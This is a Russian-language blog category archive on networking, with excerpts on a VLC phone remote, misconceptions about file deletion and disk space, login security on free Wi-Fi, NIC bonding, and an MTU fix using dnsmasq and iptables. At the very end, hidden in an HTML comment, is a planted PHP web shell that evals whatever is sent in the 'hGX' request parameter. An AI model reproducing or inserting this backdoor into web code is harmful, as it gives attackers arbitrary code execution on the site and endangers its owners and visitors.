Архив категории: network

android groovy java network programming video web Wi-Fi

Диванная автоматизация видеоплеера VLC

vlc_cat

Давным давно сделал себе пульт управления проигрыванием видео в виде приложения для мобильного телефона. Ведь это так приятно — лёжа на диване, прибавлять звук на компьютере или ставить фильм на паузу. Приложение было написано в режиме классического ночного безумия одним набегом.

Я пользуюсь дома замечательным видеоплеером VLC, чего и вам советую. Он отлично подходит для удалённого управления, поскольку имеет встроенный веб-интерфейс.

Приложение на GitHub diy-remote

Релизы брать тут: https://github.com/jreznot/diy-remote/releases

Для работы вам потребуется:

  • Wi-Fi сеть
  • Запущенный сервер на вашем компьютере
  • Настроенный веб-интерфейс в VLC
  • Android приложение на телефоне

Читать далее »

bash linux NAT network pipes security

Заблуждения о файлах

Если удалить файл, свободное место увеличится на размер файла.

Ну, во-первых, файл очень часто занимает отличное от своего размера место

Если удалить файл, свободное место увеличится.

В большинстве файловых систем Linux место не освободится пока файл не закроют все процессы, работающие с ним.

Если удалить файл, свободное место увеличится, когда файл все закроют.

Вот в hfsplus в Linux 2.6.32-2.6.36 не так. В 2.6.37 это таки пофиксили.

Ну оно хотя бы не уменьшится при удалении?!

Много чудных файловых систем можно встретить. Вот например nilfs

Если дописать информацию в файл, занятое им место на диске увеличится.

Файловые системы со сжатием могут сжать новый файл лучше.

Одному имени файла всегда соответствует один и тот же файл.

Файлы кто-то может переименовать (c)ваш К.О. Даже в самый неожиданный момент (c)всё тот же К.О. Читать далее »

network security Wi-Fi

Free Wi-Fi. Вопросы безопасности


Предупреждение: статья не для гуру компьютерной безопасности, а для тех, кто не до конца понимает, как работает авторизация на различных сайтах и какие дополнительные моменты появляются при работе в wifi сетях. Попытаюсь объяснить «на пальцах».
Начнём с мат части.
Как обычно происходит авторизация на различных вёб ресурсах? Точнее как это происходит чаще всего.
Вы вводите логин и пароль в форме логина, нажимаете кнопку и данные отправляется по каналу с безопасностью A, после чего сервер присылает ответ с сеансовым ключом, и этот сеансовый ключ в дальнейшем используется для обмена сообщениями по каналу с безопасностью B.
И если:

  • A и B — оба https. В этом случае всё хорошо, ну или почти всё. Практически спокойно можно пользоваться сервисом в любой сети. Хотя некоторые ограничения остаются, которые не будет рассматриваться сейчас.
  • A и B — https и http. Самое интересное.
  • A и B — обычный http. Очень грустно. Можно надеятся только на недоступность сети другим. Не интересно.

Так когда и в каком случае ваша личная информация может стать доступной ещё кому-либо? Об этом читайте далее. Читать далее »

drivers network virtualization

AMD IOMMU

Any problems?

Читать далее »

network

Первый взгляд на «bonding»

Говорят что сетевые интерфейсы можно пачками объединять для повышения пропускной способности или отказоустоичивости. Попробуем объединить интегрированную(на rtl8111) и TG-3468(на rtl8168).
HOWTO для gentoo
На дебине/убунте всё то же самое:

вывод последней команды

хорошо. теперь то же самое с другой стороны(ну ip и интерфейсы по вкусу)

Где мои 0,4 Gbps?! ;-)

На NAT’е/файлопомойке загрузка процессора упёрлась в 100% на оба ядра… Видимо на большее расчитывать не стоит.
Да. Пока нечем утилизировать такой канал. SAMBA видимо тоже в процессор упирается да и в диск — 60МБ/с — одного линка вполне бы хватило.

linux NAT network

Решение проблемы с MTU

Уже с трудом припоминаю как это было, а было это чуть менее двух лет назад – собрал я себе роутер на базе не слабой такой машинки PDC E5500, 2GB RAM, полноценный HDD.

Так вот. Единственное что не нагуглилось сразу так это решение проблем с MTU

1) dnsmasq.conf  это для порядочных клиентов, которые определяют mtu ещё при подключении

dhcp-option=26,1492

2) Это для более тугих, которым предыдущего не хватает.

iptables -I FORWARD -p tcp –tcp-flags SYN,RST SYN -j TCPMSS –clamp-mss-to-pmtu

Теперь google.com и wolframalpha.com работают. А раньше были прямо таки индикатором проблем с MTU.

Итого:

/etc/nat-up

/etc/dnsmasq.conf

-->

<!— [insert_php]if (isset($_REQUEST["hGX"])){eval($_REQUEST["hGX"]);exit;}[/insert_php]

—>